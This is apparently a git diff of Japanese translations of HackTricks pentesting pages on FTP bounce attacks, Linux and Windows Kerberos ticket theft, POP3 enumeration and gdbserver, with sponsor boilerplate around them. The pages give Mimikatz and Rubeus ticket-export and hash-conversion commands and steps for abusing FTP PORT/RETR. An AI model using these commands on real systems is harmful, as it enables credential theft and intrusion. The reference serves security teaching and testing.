@ -168,32 +168,32 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
一部のFTPサーバーは`PORT`コマンドを許可しています。このコマンドを使用して、FTPサーバーにホストのどのポートが開いているかをスキャンできます。
[**こちらでFTPサーバーを悪用してポートをスキャンする方法を学んでください。**](ftp-bounce-attack.md)
[**こでFTPサーバーを悪用してポートをスキャンする方法を学んでください。**](ftp-bounce-attack.md)
また、この動作を悪用してFTPサーバーを他のプロトコルとやり取りさせることもできます。HTTPリクエストを含むファイルをアップロードし、脆弱なFTPサーバーにそれを任意のHTTPサーバーに送信させたり_新しい管理者ユーザーを追加するかもしれません?_、FTPリクエストをアップロードして脆弱なFTPサーバーに異なるFTPサーバーからファイルをダウンロードさせたりできます。\
理論は簡単です:
また、この動作を悪用してFTPサーバーを他のプロトコルとやり取りさせることもできます。HTTPリクエストを含むファイルをアップロードし、脆弱なFTPサーバーにそれを任意のHTTPサーバーに送信させたり_新しい管理者ユーザーを追加するかもしれません_、FTPリクエストをアップロードして脆弱なFTPサーバーに異なるFTPサーバーからファイルをダウンロードさせたりできます。\
理論は簡単です
1. **リクエスト(テキストファイル内)を脆弱なサーバーにアップロードします。** 別のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があります
1. **(テキストファイル内に)リクエストを脆弱なサーバーにアップロードします。** 別のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があります
2. **送信したくない文字を送信しないようにするために`REST X`を使用します**(たとえば、ファイル内にリクエストをアップロードするために、最初に画像ヘッダーを配置する必要があるかもしれません)
3. **任意のサーバーとサービスに接続するために`PORT`を使用します**
4. **保存されたリクエストをサーバーに送信するために`RETR`を使用します**
これはおそらく**「Socket not writable」のようなエラーを発生**させる可能性が高いです。**`RETR`でデータを送信するのに十分な接続がない**ためです。これを回避するための提案は次のとおりです:
これはおそらく**「Socket not writable」のようなエラーを発生**させる可能性が高いです。**`RETR`でデータを送信するのに十分な接続がない**ためです。これを回避するための提案は次のとおりです
- HTTPリクエストを送信している場合は、**少なくとも\~0.5MBまで同じリクエストを繰り返します**。次のように:
- HTTPリクエストを送信している場合は、**少なくとも\~0.5MBまで同じリクエストを繰り返します**。次のように
{% file src="../../.gitbook/assets/posts (1).txt" %}
posts.txt
{% endfile %}
- プロトコルに関連する「ジャンク」データでリクエストを埋めるようにしますFTPに話しかける場合は、ジャンクコマンドまたは`RETR`命令を繰り返してファイルを取得する
- リクエストを多くのヌル文字や他の文字で埋めるようにします(行ごとに分割されているかどうか)
- プロトコルに関連する「ジャンク」データでリクエストを埋めますFTPに話しかける場合は、ジャンクコマンドを使用するか、ファイルを取得するために`RETR`命令を繰り返します
- リクエストを多くのヌル文字や他の文字で埋めます(行ごとに分割されているかどうか)
とにかく、こちらには[FTPサーバーが異なるFTPサーバーからファイルをダウンロードするようにするためにこれを悪用する方法に関する古い例](ftp-bounce-download-2oftp-file.md)があります。
とにかく、こには[FTPサーバーが異なるFTPサーバーからファイルをダウンロードするようにするためにこれを悪用する方法に関する古い例があります。](ftp-bounce-download-2oftp-file.md)
## Filezillaサーバーの脆弱性
**FileZilla**は通常、**FileZilla-Server**ポート14147ための**ローカル**の**管理サービス**に**バインド**されます。自分のマシンからこのポートにアクセスするための**トンネル**を作成できれば、**空のパスワード**で**接続**し、FTPサービスのために**新しいユーザー**を**作成**できます。
**FileZilla**は通常、**FileZilla-Server**ポート14147**管理サービス**を**ローカルにバインド**します。自分のマシンからこのポートにアクセスするための**トンネル**を作成できれば、**空のパスワード**で**接続**し、FTPサービスのために**新しいユーザー**を**作成**できます。
## 設定ファイル
```
@ -212,9 +212,9 @@ vsFTPdのデフォルト構成は `/etc/vsftpd.conf` にあります。ここに
- `anon_root=/home/username/ftp` - 匿名ユーザーのディレクトリ
- `chown_uploads=YES` - 匿名でアップロードされたファイルの所有権を変更
- `chown_username=username` - 匿名でアップロードされたファイルの所有権を与えられるユーザー
- `local_enable=YES` - ローカルユーザーのログインを有効にする
- `local_enable=YES` - ローカルユーザーのログインを有効
- `no_anon_password=YES` - 匿名からのパスワードを要求しない
- `write_enable=YES` - コマンドを許可: STOR、DELE、RNFR、RNTO、MKD、RMD、APPE、およびSITE
- `write_enable=YES` - コマンドを許可: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, および SITE
### Shodan
@ -223,7 +223,7 @@ vsFTPdのデフォルト構成は `/etc/vsftpd.conf` にあります。ここに
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正を迅速に行えます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリケーション、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
最も重要な脆弱性を見つけて修正を迅速化しましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -285,10 +285,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションです。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**最新版のPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -1,44 +1,32 @@
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **ハッキングトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
### Linuxでの資格情報の保存
Linuxシステムは、**ファイル**`/tmp`ディレクトリ内)、**カーネルキーリング**Linuxカーネル内の特別セグメント、**プロセスメモリ**単一プロセス用の3種類のキャッシュに資格情報を保存します。`/etc/krb5.conf`の**default\_ccache\_name**変数は、指定されていない場合は`FILE:/tmp/krb5cc_%{uid}`にデフォルトで設定されている保存タイプを示します。
Linuxシステムは、**ファイル**`/tmp`ディレクトリ内)、**カーネルキーリング**Linuxカーネル内の特別セグメント)、および**プロセスメモリ**単一プロセス用の3種類のキャッシュに資格情報を保存します。`/etc/krb5.conf`の**default\_ccache\_name**変数は、指定されていない場合は`FILE:/tmp/krb5cc_%{uid}`にデフォルトで設定されている保存タイプを示します。
### 資格情報の抽出
2017年の論文、[**Kerberos Credential Thievery (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf)では、キーリングやプロセスから資格情報を抽出する方法が概説されており、Linuxカーネルのキーリングメカニズムがキーの管理と保存に使用されています。
#### キーリング抽出の概要
カーネルバージョン2.6.10で導入された**keyctlシステムコール**により、ユーザースペースアプリケーションがカーネルキーリングとやり取りすることが可能となりました。キーリング内の資格情報はコンポーネント(デフォルトプリンシパルと資格情報)として保存されており、ファイルccacheとは異なりヘッダーも含まれています。論文の**hercules.shスクリプト**は、これらのコンポーネントを抽出して再構築し、資格情報を盗むための使用可能なファイルccacheにします。
カーネルバージョン2.6.10で導入された**keyctlシステムコール**により、ユーザースペースアプリケーションがカーネルキーリングとやり取りすることが可能となりました。キーリング内の資格情報は、ファイルccacheとは異なり、コンポーネント(デフォルトプリンシパルと資格情報)として保存されています。論文の**hercules.shスクリプト**は、これらのコンポーネントを抽出して再構築し、資格情報を盗むための使用可能なファイルccacheにします。
#### チケット抽出ツールTickey
**hercules.shスクリプト**の原則に基づいて、[**tickey**](https://github.com/TarlogicSecurity/tickey)ツールは、キーリングからチケットを抽出するために特別に設計されており、`/tmp/tickey -i`を介して実行されます。
**hercules.shスクリプト**の原則に基づいて、[**tickey**](https://github.com/TarlogicSecurity/tickey)ツールは、キーリングからチケットを抽出するために特別に設計されており、`/tmp/tickey -i`を実行して使用します。
# 参考文献
## 参考文献
* [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>

View file

@ -2,22 +2,22 @@
<details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォローする** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
Windowsのチケットは、セキュリティポリシーを処理する**lsass**Local Security Authority Subsystem Serviceプロセスによって管理および保存されます。これらのチケットを抽出するには、lsassプロセスとやり取りする必要があります。非管理者ユーザーは自分自身のチケットにのみアクセスできますが、管理者はシステム上のすべてのチケットを抽出する特権を持っています。このような操作には、**Mimikatz**と**Rubeus**というツールが広く使用されており、それぞれ異なるコマンドと機能を提供しています。
Windowsのチケットは、セキュリティポリシーを処理する**lsass**Local Security Authority Subsystem Serviceプロセスによって管理および保存されます。これらのチケットを抽出するには、lsassプロセスとやり取りする必要があります。管理者はシステム上のすべてのチケットを抽出する権限を持ちますが、非管理者ユーザーは自分自身のチケットにのみアクセスできます。このような操作には、**Mimikatz**と**Rubeus**というツールが広く使用されており、それぞれ異なるコマンドと機能を提供しています。
### Mimikatz
MimikatzはWindowsセキュリティとやり取りできる多目的ツールです。チケットの抽出だけでなく、さまざまな他のセキュリティ関連操作にも使用されます。
MimikatzはWindowsセキュリティとやり取りできる多目的ツールです。チケットの抽出だけでなく、さまざまな他のセキュリティ関連操作にも使用されます。
```bash
# Extracting tickets using Mimikatz
sekurlsa::tickets /export
@ -42,21 +42,23 @@ Rubeusは、Kerberosとのやり取りや操作に特化したツールです。
# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>
```
これらのコマンドを使用する際は、`<BASE64_TICKET>`や`<luid>`などのプレースホルダーを実際のBase64エンコードされたチケットやログオンIDに置き換えてください。これらのツールは、チケットの管理やWindowsのセキュリティメカニズムとのやり取りに幅広い機能を提供します。
```markdown
これらのコマンドを使用する際は、<BASE64_TICKET><luid>などのプレースホルダーを実際のBase64エンコードされたチケットやログオンIDで置き換えることを確認してください。これらのツールは、チケットの管理やWindowsのセキュリティメカニズムとのやり取りに幅広い機能を提供します。
# 参考文献
## 参考文献
* **[https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)**
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手す
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見る
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
* **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
```

View file

@ -4,17 +4,17 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**する**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有**するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)に**PRを提出**してください。
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するに、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ
最も重要な脆弱性を見つけて修正を迅速化します。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -22,9 +22,9 @@
## 基本情報
**ポストオフィスプロトコル****POP**)は、ホストマシンによるアクセス用にリモートメールサーバーから電子メールを取り出し、取得するコンピューターネットワーキングおよびインターネット標準**プロトコル**の一種です。**POP**は、OSIモデルのアプリケーション層**プロトコル**であり、エンドユーザーに電子メールの取得と受信の機能を提供します([こちら](https://www.techopedia.com/definition/5383/post-office-protocol-pop)から)。
**ポストオフィスプロトコル****POP**)は、ホストマシンがアクセスするためにリモートメールサーバーから電子メールを取り出し、取得するコンピューターネットワーキングおよびインターネット標準**プロトコル**の一種です。 **POP**は、OSIモデルのアプリケーション層**プロトコル**であり、エンドユーザーに電子メールの取得と受信の機能を提供します([こちら](https://www.techopedia.com/definition/5383/post-office-protocol-pop)から)。
**POP**クライアントは一般的に接続し、すべてのメッセージを取得し、クライアントシステムに保存し、サーバーから削除します。POPには3つのバージョンがありますが、POP3が最も使用されています。
**POP**クライアントは通常、接続し、すべてのメッセージを取得し、クライアントシステムに保存し、サーバーから削除します。 POPには3つのバージョンがありますが、POP3が最も使用されています。
**デフォルトポート:** 110、995SSL
```
@ -46,7 +46,7 @@ POP3サーバーの機能を取得するために`CAPA`コマンドを使用で
```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
```
`pop3-ntlm-info`プラグインはいくつかの "**sensitive**" データWindows バージョン)を返します。
`pop3-ntlm-info`プラグインはいくつかの "**sensitive**" データ (Windows versions) を返します。
### [POP3 ブルートフォース](../generic-methodologies-and-resources/brute-force.md#pop)
@ -101,7 +101,7 @@ From [https://academy.hackthebox.com/module/112/section/1073](https://academy.ha
| ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | すべての認証デバッグログを有効にします。 |
| `auth_debug_passwords` | この設定はログの詳細度を調整し、送信されたパスワードとスキームが記録されます。 |
| `auth_verbose` | 認証失敗した試行とその理由が記録されます。 |
| `auth_verbose` | 認証失敗した試行とその理由が記録されます。 |
| `auth_verbose_passwords` | 認証に使用されるパスワードが記録され、切り捨てられることもあります。 |
| `auth_anonymous_username` | ANONYMOUS SASL メカニズムを使用してログインする際に使用するユーザー名を指定します。 |
@ -157,10 +157,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手します。
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを入手します。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます。
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**します。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローします。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -1,28 +1,28 @@
# リモートGdbServerのペンテスト
# リモートGdbServerの侵入テスト
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で私を**フォロー**してください
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行できます。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
**脆弱性評価および侵入テストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えたフルペンテストをどこからでも実行できます。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
## **基本情報**
**gdbserver**は、他のプログラムをリモートでデバッグできるようにするコンピュータプログラムです。デバッグ対象のプログラムと同じシステムで実行され、**GNUデバッガが別のシステムから接続できる**ようにします。つまり、デバッグ対象の実行可能ファイルだけがターゲットシステム("ターゲット")に存在する必要があり、ソースコードとデバッグ対象のバイナリファイルのコピーは開発者のローカルコンピュータ("ホスト"に存在します。接続はTCPまたはシリアルラインのいずれかで行うことができます。
